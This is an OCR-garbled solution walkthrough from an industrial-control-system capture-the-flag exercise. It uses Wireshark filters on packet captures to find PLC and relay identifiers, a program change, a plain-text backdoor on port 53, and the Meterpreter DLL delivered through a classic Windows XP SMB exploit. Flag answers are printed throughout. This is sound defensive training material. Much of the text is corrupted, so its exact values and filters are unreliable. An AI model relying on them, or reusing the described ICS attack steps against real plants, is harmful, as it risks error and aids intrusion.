209450 7529.754331 .10.30.5 .10.30.33 DCERPC Request: call id: 35, Fragment: Single, opnum: 5, Ctx: @ 13486d50-4821-11d2-a494-3cb3¢
209451 7529.754484 .10.306.33 .10.30. DCERPC Response: call_id: 35, Fragment: Single, Ctx: © 13486d50-4821-11d2-a494-3cb306c10000 \
209452 7529.754627 .10.36.5 .10.36. DCERPC Request: call_id: 36, Fragment: Single, opnum: 3, Ctx: 1 IEnumGUID VO
209453 7529.754788 .10.30.33 .10.30. DCERPC Response: call_id: 36, Fragment: Single, Ctx: 1 IEnumGUID V@
209454 7529.754914 .10.36.5 .10.30. DCERPC Request: call_id: 37, Fragment: Single, opnum: 4, Ctx: @ 13486d50-4821-11d2-a494-3ch3¢
209455 7529.755118 .10.30.33 .10.30. DCERPC Response: call_id: 37, Fragment: Single, Ctx: @ 13486d50-4821-11d2-a494-3cb306c10000 \
209456 7529.75525@ .10.30.5 .10.30. DCERPC Request: call id: 38, Fragment: Single, opnum: 5, Ctx: @ 13486d50-4821-11d2-a494-3cb3¢
209457 7529.755407 .10.306.33 .10.30. DCERPC Response: call_id: 38, Fragment: Single, Ctx: © 13486d50-4821-11d2-a494-3cb306c10000 \
209458 7529.755568 .10.36.5 .10.36. DCERPC Request: call_id: 39, Fragment: Single, opnum: 3, Ctx: 1 IEnumGUID VO
209459 7529.755715 .10.30.33 .10.30. DCERPC Response: call_id: 39, Fragment: Single, Ctx: 1 IEnumGUID V@
209460 7529.755839 .10.36.5 .10.30. DCERPC Request: call_id: 4@, Fragment: Single, opnum: 4, Ctx: 8 13486d50-4821-11d2-a494-3cb3t
209461 7529.756063 .10.30.33 .10.30. DCERPC Response: call_id: 4@, Fragment: Single, Ctx: © 13486d50-4821-11d2-a494-3cb306c10000 \
209462 7529.756193 .10.30.5 .10.30. DCERPC Request: call id: 41, Fragment: Single, opnum: 5, Ctx: @ 13486d50-4821-11d2-a494-3cb3¢
209463 7529.756349 .10.306.33 .10.30. DCERPC Response: call_id: 41, Fragment: Single, Ctx: © 13486d50-4821-11d2-a494-3cb306c10000 \
209464 7529.756518 .10.36.5 .10.36. DCERPC Request: call_id: 42, Fragment: Single, opnum: 3, Ctx: 1 IEnumGUID VO
209465 7529.756674 .10.36.33 .10.30. DCERPC Response: call_id: 42, Fragment: Single, Ctx: 1 IEnumGUID V@
209466 7529.756800 .10.36.5 .10.30. DCERPC Request: call_id: 43, Fragment: Single, opnum: 4, Ctx: 8 13486d50-4821-11d2-a494-3cb3¢
209467 7529.756984 .10.30.33 .10.30. DCERPC Response: call_id: 43, Fragment: Single, Ctx: @ 13486d50-4821-11d2-a494-3cb306c10000 \
209468 7529.75710@ .10.30.5 .10.30. DCERPC Request: call id: 44, Fragment: Single, opnum: 5, Ctx: @ 13486d50-4821-11d2-a494-3cb3¢
209469 7529.757257 .10.306.33 .10.30. DCERPC Response: call_id: 44, Fragment: Single, Ctx: © 13486d50-4821-11d2-a494-3cb306c10000 \
209476 7529.757389 .10.36.5 .10.36. DCERPC Request: call_id: 45, Fragment: Single, opnum: 3, Ctx: 1 IEnumGUID VO
209471 7529.757547 .10.36.33 .10.30. DCERPC Response: call_id: 45, Fragment: Single, Ctx: 1 IEnumGUID V@
209472 7529.757666 .10.36.5 .10.30. DCERPC Request: call_id: 46, Fragment: Single, opnum: 4, Ctx: 8 13486d50-4821-11d2-a494-3cb3¢
209473 7529.75783@ - .33 - . DCERPC Response: call_id: 46, Fragment: Single, Ctx: @ 13486d50-4821-11d2-a494-3cb306c10000 \
209474 7529.75794@ .10.30.5 - . DCERPC Request: call id: 47, Fragment: Single, opnum: 5, Ctx: @ 13486d50-4821-11d2-a494-3cb3¢
209475 7529 _75RA%90 - - NCFRPC Resnonse: call id: 47 Fraoment: Sincle. Cix: 0 134RAA5A-4ARI1-11d2-2494-3ch3BRC16AAB |

>

Frame 209473: 270 bytes on wire (2160 bits), 270 bytes captured (2160 bits)
Ethernet II, Src: Dell ad:34:64 (f8:db:88:a4:34:64), Dst: VMware 44:55:a7 (86:0c:29:44:55:a7)
Internet Protocol Version 4, Src: 10.18.30.33, Dst: 10.10.30.5

@c 29 44 55 a7 f8 db 34 64 80 45 o0 DU 4d--E
02 42 40 80 0a 0a 21 @a @a | !
@ be B4 ba e3 4b d5 \--Kt-P
9b 3 ee o5 10 ee oo
2e 60 00
00 ee 6o
1a @0 @2 4d 74 00
6f 00 6e 2e 50 08
69 0@ 6d 75 08
6e 00 2e 00
00 00 2f g,
2d 0@ 46 4c
2d oe 48 45
2d af
2d @@ 4ad af
20 20
20 00 20 00




Balance of Plant Turbine PLC

Level 4 — Flag 5

We believe that a malicious program was downloaded Points: 10
to a Rockwell controller in the Balance of Plant network. Flag:
What is the Serial Number of the Turbine PLC (1756- 8-
L55) In the Combined Cycle BOP network? 0x0019cl14

Each Rockwell Device has its own Serial number which is Hint:
passed over CIP. Be sure that the Serial number you are None
collecting is for the Product Name: 1756-L55/A 1756-
M12/A LOGIX5555 and not one of the Cards on the
PLC’s rack.

DRAGCS



Balance of Plant Turbine PLC

Level 4 —

Filter the network traffic by the BOP ip range 10.10.20.0/24

ip.addr == 10.10.20.0/24

Review the traffic in the network

Filter also by Rockwell CIP traffic

ip.addr == 10.10.20.0/24 && cip

Filter By CIP Get Attributes Service Code 0x81

cip.service == 0x81

Filter by CIP Attribute 6 - Which is the device Serial Number

cip.attribute ==

Packets that contain cip.attribute 6 will contain the Serial Number for the device
Find the Product Name “1756-L55/A 1756-M12/A LOGIX5555” and collect the Serial
Number from that Product.

y % 2 - "DRAGQ



Balance of Plant Turbine PLC

Frame 214758: 144 bytes on wire (1152 bits), 144 bytes captured (1152 bits) on interface \Device\NPF {91906473-FD47-4CA@-B378-7B7939E58CC5}, id 10
Ethernet II, Src: Rockwell 5a:72:ce (00:00:bc:5a:72:ce), Dst: VMware 91:43:de (00:0c:29:91:43:de)
Internet Protocol Version 4, Src: 10.10.20.3, Dst: 10.10.20.8
Transmission Control Protocol, Src Port: 44818, Dst Port: 1188, Seq: 87169, Ack: 72291, Len: 99
EtherNet/IP (Industrial Protocol), Session: 0x11020200, Send RR Data
Common Industrial Protocol
W CIP Connection Manager
(Service: Unconnected Send (Response))
[Request Path Size: 2 words]
[Request Path: Identity, Instance: 6x01]
W Get Attributes All (Response)
W Attribute: 1 (Vendor ID)
Vendor ID: Rockwell Automation/Allen-Bradley (0x0001)
W Attribute: 2 (Device Type)
Device Type: Programmable lLogic Controller (0x000e)
Attribute: 3 (Product Code)
Product Code: 51
Attribute: 4 (Revision)
Major Revision: 16
Minor Revision: 21
Attribute: 5 (Status)
Staia
A¥0ute: 6 (Serial Number)
Serial Number: 9x0019c114
aibute: 7 (Product Name)
Pree " i wL/56-M12/A LOGIXS5555

08 00 45 o
14 @3 @a @a
47 50 50 18
02 11 20 00
00 00 00 00
32 00 81 00

3.

--p1EEE
31 37 35 36 -1756-L5 5/A 1756
35 35 35 35 M12/A L OGIX5555




* Interactive Map SR T

o - From To - Q search )
= ke oar22r20, 0500 pMute [ 04/30/20,05:15 PTG D0 AUTOIPDATE 79 x @

Zones: Unzoned + 9 mare  Collectors: collectorbond2 + 1 more  Links: Physical, Logical, & Implied  Assets: Only Active Asset Limit: 1,500 Protocols: CIP + 20 mare 131 assets 134links 10zones
EXPLORE MAP STRUCTURED MAP
.
Data X ! o wa B .
v . - Viewing Time Range: 5:00 PM 1o 5:15 PM 04/30/20 UTC
Name: Asset: 120
ul
Notifications Class: Controller - s
<0y bl
> PLC
™ Type: -
+
a 1) J——
Content ) Make: Rockwell Automation/ Allen-Bradley z
¥ g
* 5
Asset ID: 120 Seen: 04/24/20,08:05 AM UTC 2
Detected By: midpoint01 Seen: Unknown ”
KEY ATTRIBUTES @
[* ] - bl
|
Reports Hardware Operating System 3]
Model: 1756-L55/A 1756-M12/A  No A
LOGIX5555
Vendor: Rockwell
Automation/Allen-
o Bradley
o OTHER ATTRIBUTES
Clp_name: Country
1756-LS5/A none none
1756-M12/A
LOGIX5555,1756-
= 1B16/4A DCIN
E 1756
0B16E/A DCOUT
EFUSE
—
Firmware: Latitude: Longitude
16.21 none
+ Add
ZONES
mibiry et to Zone
ADDRESSES
Address
» 1010203

Timebar ~




Program Modified

Level 4 — Flag 6

What is the name of the PLC Program that [ReRRIRs-aNNZ

is running on the PLC that provides Flag:

Turbine control. Turbine_Control
_System

Description for the program is: "Turbine Hint :

Control System for Black Start and Peak None

Support"

DRAGCS



Program Modified

Level 4 —

Filter the network traffic by the BOP ip range 10.10.20.0/24

ip.addr == 10.10.20.0/24

Review the traffic in the network

Filter also by Rockwell CIP traffic

ip.addr == 10.10.20.0/24 && cip

Filter By CIP Class 0x64 which is a vendor-specific CIP Class code (0x64 through 0xC7) -
In this case it is used to change the program used.

cip.class == 0x64




Program Modified

ip.addr == 10.10.20.0/24 && cip && cip.class == 0x64

No. Time Source Destination Proto Lenc Info
212857 7707.657508 10.10.20.8 10.10.20.3 CIP CM 114 Unconnected Send: Class (@x64) - Get Af
212858 7707.661365 10.10.20.3 10.10.20.8 CIP 191 Success: Class (@x64) - Get Attributes
212863 7707.708963 10.10.20.8 10.10.20.3 CIP CM 114 Unconnected Send: Class (@x64) - Get Af
212864 7707.716524 10.10.20.3 10.10.20.8 CIP Success: Class (@x64) - Get Attributes
212869 7707.759937 10.10.20.8 10.10.20.3 CIP CM 114 Unconnected Send: Class (@x64) - Get Af
212870 77©7.763482 10.10.209.3 10.10.20.8 CIP Path destination unknown: Class (©x64)
212876 7707.810016 10.10.20.8 10.10.20.3 CIP CM 114 Unconnected Send: Class (@x64) - Get Af
212877 7767.813573 10.10.20.3 10.10.20.8 CIP Path destination unknown: Class (©x64)
213120 7716.151942 10.10.20.8 10.10.20.3 CIP CM 114 Unconnected Send: Class (@x64) - Get Af
213121 7716.155505% 10.10.20.3 10.10.20.8 CIP 191 Success: Class (@x64) - Get Attributes
213126 7716.202878 10.10.20.8 10.10.20.3 CIP CM 114 Unconnected Send: Class (@x64) - Get Af
213127 7716.210585 10.10.20.3 10.10.20.8 CIP Success: Class (@x64) - Get Attributes
213130 7716.254144 10.10.20.8 10.10.20.3 CIP CM 114 Unconnected Send: Class (@x64) - Get Af
213131 7716.257382 10.10.20.3 10.10.20.8 CIP Path destination unknown: Class (©x64)
213137 7716.304256 10.10.20.8 10.10.20.3 CIP CM 114 Unconnected Send: Class (@x64) - Get Af
213138 7716.387462 10.10.20.3 10.10.20.8 CIP Path destination unknown: Class (©x64)
213212 7718.166262 10.10.20.8 10.10.20.3 CIP 114 Unconnected Send: Class (@x64) - Get Af
213213 7718.169809 10.10.20.3 10.10.20.8 CIP 191 Success: Class (@x64) - Get Attributes

Aanasn cman nanann an an an on an an an o e aaa S fooean o omd

>

[Request Path: Class: @x64, Instance: @x@1]
[Path Segment: 8x20@ (8-Bit Class Segment)]
[Path Segment: 8x24 (8-Bit Instance Segment)]
Get Attributes All (Response)
Data: 168854757262696e655T436T6e74726T6c5f537973746564d...

b7 00 oo [FAEE 82 82 11 @0 80 - o
79 08 80 a8 ©5 20 60 80_A9 v

00 02 00 0O 08 00 6140l s 60 a

00 54 75 72 62 sf 4f of ce 74 Turb ine_Cont
5f 53 79 73 74 80 5.5 72 62 rol_Syst em7-Turb
20 43 6f 6e 74 20 53 3. 74  ine Cont rol Syst
66 6 72 20 6b 20 53 N S e




Notifications

Content

LN

Baselines

Reports

@

Sensors

1290

PLC Write Detected

DETECTED BY:
CIP Write

PLAYBOOKS:
No Associated Playbooks

DETECTION QUAD:

Configuration

ICS ATT&CK TECHNIQUE:
No Applicable ICS ATT&CK Technique

ICS CYBER KILLCHAIN STEP:
No Applicable ICS Cyber Killchain Step

OCCURRED AT:
04/24/20,02:05 PM UTC

WHAT HAPPENED:

SOURCE
dfc0de9f-1806-44af-a2f6-f41cc4eBe624

CASES:
No Cases Linked

ICS ATT&CK TACTIC:
No Applicable ICS ATT&CK Tactic

ACTIVITY GROUP:
No Applicable Activity Group

QUERY-FOCUSED DATASETS:
CIP, CIP Identities, ..

ZONES:

Zone 1 (Inactive)

Asset: 28 (10.10.20.8) attempted to write to Rockwell PLC: 120 (10.10.20.3)

RELATED NOTIFICATIONS (0):
D = Occurred At

Summary

No Related Notifications

ASSOCIATED ASSETS

MARK AS REAI

Viewing Time Range: 2:00 PM to 2:30 PM 04/24/20 UTC

View B Type

-
VIEW W sser

Name s Dir =

120 Asset 120 10.10.20.3 other

28 Asset 28 10.10.20.8  src

PIVOT TO KIBANA CREATE A RULE CREATE CASE NEXT >




Protect the Relays

Level 4 — Flag 7

Our logs indicate that the adversary Points: 10
attempted to access one of the Flag:
substation's SEL-751A feeder protection {f-1-a-g}
relays. Can you identify the ID used on
this feeder relay? Hint:

None
Might want to do some research on the
|CS protocols supported by the SEL-751A
protective relay.

DRAGCS



Protect the Relays
Level 4 —

Filter network traffic by substation ip range 10.10.100.0/24 “ip.addr==10.10.100.0/24"
Review traffic

Research the SEL 751A Device

Identify that it supports Goose Protocol

Display filter “goose”

Look for the Goose ID gID of the SEL 751A device




Protect the Relays

[ | goose

No. Time Source Destination Proto Lenc Info

gocbRef: SEL_751_APCFG/LLN@%$GO$SDN_Message
+ i madddd Sias 12

datSet: SEL_751_APCHG, - 3$SDN_Dataset
golID: {f-l-a-g}

t: May 21, 2019 15:14:34.680 999985 UTC
sthum: 270495025

24 A7 Af 24 53 44 4e 5t 4d 65 73 73 61 67 65 81 $GO$SDN_ Message-
@1 @c 82 1e 53 45 4c 5F 37 35 31 5f 41 50 43 46 =-==SEL_ 751 _APCF
47 2f 4c 4c 4e 30 24 53 44 de 5f 44 61 74 61 73 G/LLN@$S DN_Datas
65 7 85 05 TXCAENCINTIGWENGEE o o 5c
ed 15 da %9a 5e 35 bf 85 84 10 1f 6d 31 86 @1 €0
87 1 @0 88 01 @1 85 &1 00 8a 01 @1 ab 83 83 01




Why so Serial?

Level 4 — Flag 8

We will also need to identify the Serial Points: 10
Number of the Protected Relay that the Flag:
adversary attempted to gain access to so 2005264031
that we can provide the firmware to Hint:

Dragos for forensic analysis. Can you None

provide the serial number of the relay
that the adversary attempted to access?

DRAGCS



Why so Serial?

Level 4 —

Filter network traffic by substation ip range 10.10.100.0/24 “ip.addr==10.10.100.0/24"
Review traffic

Filter by Telnet

Follow Telnet conversation

Locate the serial number in the responses to failed password attempts




Why so serial?

[ | telnet

No. Time Source Destination Protoe Lenc Info
239935 8355.3260339 10.168.160.50 10.1@.1680.121 TELNET 69 Telnet
239978 8355.486311 10.168.160.121 10.10.180.50 TELNET 69 Telnet
239979 8355.486470 10.168.160.50 10.1@.1680.121 TELNET 57 Telnet
239980 8355.487814 10.168.160.121 10.10.180.50 TELNET 77 Telnet
239982 8355.487861 10.168.160.50 10.1@.1680.121 TELNET 57 Telnet
239985 8355.489821 10.168.160.121 10.10.180.50 TELNET 60 Telnet
239986 8355.496320 10.168.160.121 10.10.180.50 TELNET 60 Telnet
248013 8355.551967 10.168.160.121 10.10.180.50 TELNET 60 Telnet
248029 8355.613113 10.16.160.121 10.10.1080.50 TELNET 6@ Telnet
248046 8355.674251 10.16.160.121 10.10.1080.50 TELNET 6@ Telnet
248047 8355.674753 10.16.160.121 10.10.1080.50 TELNET 6@ Telnet
248074 8355.737900 10.16.160.121 10.10.1080.50 TELNET 6@ Telnet
240171 8356.075193 10.16.160.121 10.10.1080.50 TELNET 214 Telnet
240662 8357.756483 16.16.160.50 10.10.160.121 TELNET 55 Telnet
240701 8357.867400 10.16.160.121 10.10.1080.50 TELNET 6@ Telnet
248750 8358.004978 16.16.160.50 10.10.160.121 TELNET 55 Telnet
240784 8358.139536 10.16.160.121 10.10.1080.50 TELNET 6@ Telnet
248867 8358.187801 16.16.160.50 10.10.160.121 TELNET 55 Telnet

Frame 240171: 214 bytes on wire (1712 bits), 214 bytes captured (1712 bits)

Ethernet II, Src: Schweitz ©0:37:5d (@0:30:27:08:37:5d), Dst: Schweitz 14:2a:61 (P@:30:a7:14:23:61)
Internet Protocol Version 4, Src: 10.10.160.121, Dst: 10.10.1600.58

Transmission Control Protocol, Src Port: 23, Dst Port: 58014, Seq: 6@, Ack: 22, Len: 160

Telnet

54 69 6d 38 3a 30 915 Tim e: 98:08
34 35 ed 74 69 6f :28.545- -Station
20 20 20 20 20 20 0

20 20 20 20 28

65 72 69 754 62 Seri al Numbe
30 35 32 315 4, Pa r: 20052 64831
a3 =




Hidden Backdoor

Level 4 —Flag 9

We believe the intruder left behind a backdoor for Points: 10

access assurance. The Flag:

backdoor is listening on a port that blends in with

protocols commonly seen Dragos_H1dd3n_B
in a corporate environment. The intruder made a @ckdeor

mistake, and did not include Hint:

encryption in the backdoor, can you identify the
file the intruder accessed?

None

DRAGCS



Hidden Backdoor

Level 4 —

Open WireShark

Filter by Protocol: TCP

Search for TCP SYN request to port 53
Right click, Follow TCP Stream

Flag is displayed with type command

DRAGC



Hidden Backdoor

tcp && tep.port == 53

No. Time Source Destination Protoc Lenc Info
36041 2161.473500 10.10.20.5 10.10.20.10 TCP 54 1099 » 53 [FIN, ACK] Seq=1 Ack=1 Win=64:
36045 2161.473593 10.10.20.10 10.10.20.5 TCP 54 53 > 1890 [ACK] Seq=1 Ack=2 Win=64240 L¢
36046 2161.473633 10.10.20.10 10.10.20.5 TCP 54 53 > 1898 [FIN, ACK] Seq=1 Ack=2 Win=64:
36048 2161.473667 10.10.20.5 10.10.20.10 TCP 54 1890 > 53 [ACK] Seg=2 Ack=2 Win=64240 L¢
2085275 6162.940777 10.9.0.120 10.9.0.40 TCP 66 5@130 > 53 [SYN] Seq=0 Win=64240 Len=0 !
2085276 6162.941403 10.9.0.40 10.9.0.120 TCP 66 53 > 5813@ [SYN, ACK] Seq=0 Ack=1 Win=6
205277 6162.941523 10.9.0. 10.9.0.40 TCP 54 50130 > 53 [ACK] Seg=1 Ack=1 Win=210227.
205346 6174.018566 10.9.0. 10. .120 TCP 118 53 > 58130 [PSH, ACK] Seg=1 Ack=1 Win=2
205347 6174.070821 10.9.0. 10 49 TCP 54 50130 > 53 [ACK] Seg=1 Ack=65 Win=21022]
205348 6174.071149 10.9.0. 10. 12e TCP 116 53 > 58130 [PSH, ACK] Seq=65 Ack=1 Win=
285349 £174.133135 10.0.0. 1@. 40 TCP 54 50130 » 53 [ACK] Seq=1 Ack=127 Win=2102:
285563 6177.996595 10.0.0. 1@. 40 TCP 58 50130 » 53 [PSH, ACK] Seq=1 Ack=127 Win-:
285564 6178.011497 10.0.0. 1@. 128 TCP 119 53 » 5813@ [PSH, ACK] Seq=127 Ack=5 Win=
285565 6178.055152 10.0.0. 1@. 40 TCP 54 50130 » 53 [ACK] Seq=5 Ack=192 Win=2102¢
285566 6178.055501 10.0.0. 1@. 128 TCP 477 53 » 5813@ [PSH, ACK] Seq=192 Ack=5 Win-=
285567 6178.101699 1e. - 1e 40 54 50130 » 53 [ACK] Seq=5 Ack=615 Win=2101
285579 6185.711316 1e. - 1e 40 82 50130 > 53 [PSH, ACK] Seq=5 Ack=615 Win-
285580 6185.728250 1e. - 1e 1208 g 53 »+ 5813@ [PSH, ACK] Seq=615 Ack=33 Wit

2.0
-9.0.
9.0.
9.0.
9.0.
9.0.
9.0.
9.0.
-8.9.
-8.9.
-8.8.

H
)

>

Frame 285580: 119 bytes on wire (952 bits), 119 bytes captured (952 bits)

Ethernet 1T, Src: Dell b7:19:0a (b8:ca:3a:b7:19:08a), Dst: Dell_87:b6:1a (5c:f9:dd:87
Internet Protocol Version 4, Src: 10.0.0.48, Dst: 10.6.0.120

Transmission Control Protocol, Src Port: 53, Dst Port: 58138, Seq: 615, Ack: 33, Len:

Sc f9 dd 87 b6 : E

8 69 10 71 48 i-q@ L ¢

0@ 78 80 35 3 x-5 F-2-P
20 14 6a 32 @0 4O o NAHAS
75 73 70 69 63 usplciol sFile-tn
74 6d @a 44 72 t--Drago s_Hldd3n
S5f 42 48 63 6b 3 _B@ckd®@ r--c:\Us




Classics Never Die

Level 4 — Flag 10

The intruder discovered a Windows XP operating Points: 10
system in the Solar Panel network, and used a well Flag:
known exploit to compromise the machine. The

intruder was sloppy and did not encrypt the metsrv.dll
stageless payload using a well known attack Hint:
platform. Can you identify the dll that passed None

before the intruder obtained an encrypted

session?

DRAGCS



Classics Never Die
Level 4 —

Research into Metasploit framework and stageless meterpreter payloads will reveal the
dll in question.
https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/

Search for DCERPC bind call to SRVSVC which calls the vulnerable
NetPatchCanonicalize function. Following the Vulnerable function request, it triggers
the shell code and the payload is delivered via the following TCP session (post FIN,
ACK packet) Right click, Follow TCP Stream search for .dll, metsrv.dll will appear
before Init Reflective Loader



https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/

Classics Never Die @

"#.5.% () T
©.1.2.3.4.5.6. ; o 2 .E.F.G. H I J.KEC.M.N.O.S=89gY. d11.Init._Re) lectiveloader@®.buffer_from_file.buffer_to_file.chann
el _close.channel_create.channel_create_datagram.channel “Qgate pool.channel creaggl stream.channel_default_io_handler.channel_destroy.chan
nel_exists.channel_find_by_id.channel_get buffered_io_cont .Chamicsrgev ciass.channel_get flags.channel get id.channel_get native_io_co
ntext.channel_get_type.channel_interact.channel_is_flag.channel_ interactive.channel_open.channel_read.channel_read_from_buffered.chann

el_set_buffered_io_handler.channel_set_flags.channel_set_interac .channel_set_native_io_context.channel_set_type.channel_write.channel
_write_to_| bquePed channel_write_to_remote.command_deregister.command_deregister_all.command_handle.command_join_threads.command_register
.command_register_all.core_update_desktop.core_update_thread_token.packet_add_completion_handler.packet_add_exception.packet_add_group.pa
cket_add_request_id.packet_add_tlv_bool.packet_add_tlv_group.packet_add tlv_gword.packet_add_tlv_raw.packet_add tlv_string.pack dd_tlv
_uint.packet_add_tlv_wstring.packet_add_tlv_wstring_len.packet_add_tlvs.packet_call completion_handlers.packet_create.packet_create_group
.packet_create_response.packet_destroy.packet_enum_tlv.packet_get tlv.packet_get_tlv_group_entry. acket Eet tlv _meta. packet net +lw strin

12 client pkts, 72 server pkts, 23 turns.

Entire conversation (425 kB) Show and save data as A ASCII v | Stream

Filter Out This Stream Print Save as... Back Close

DRAGC
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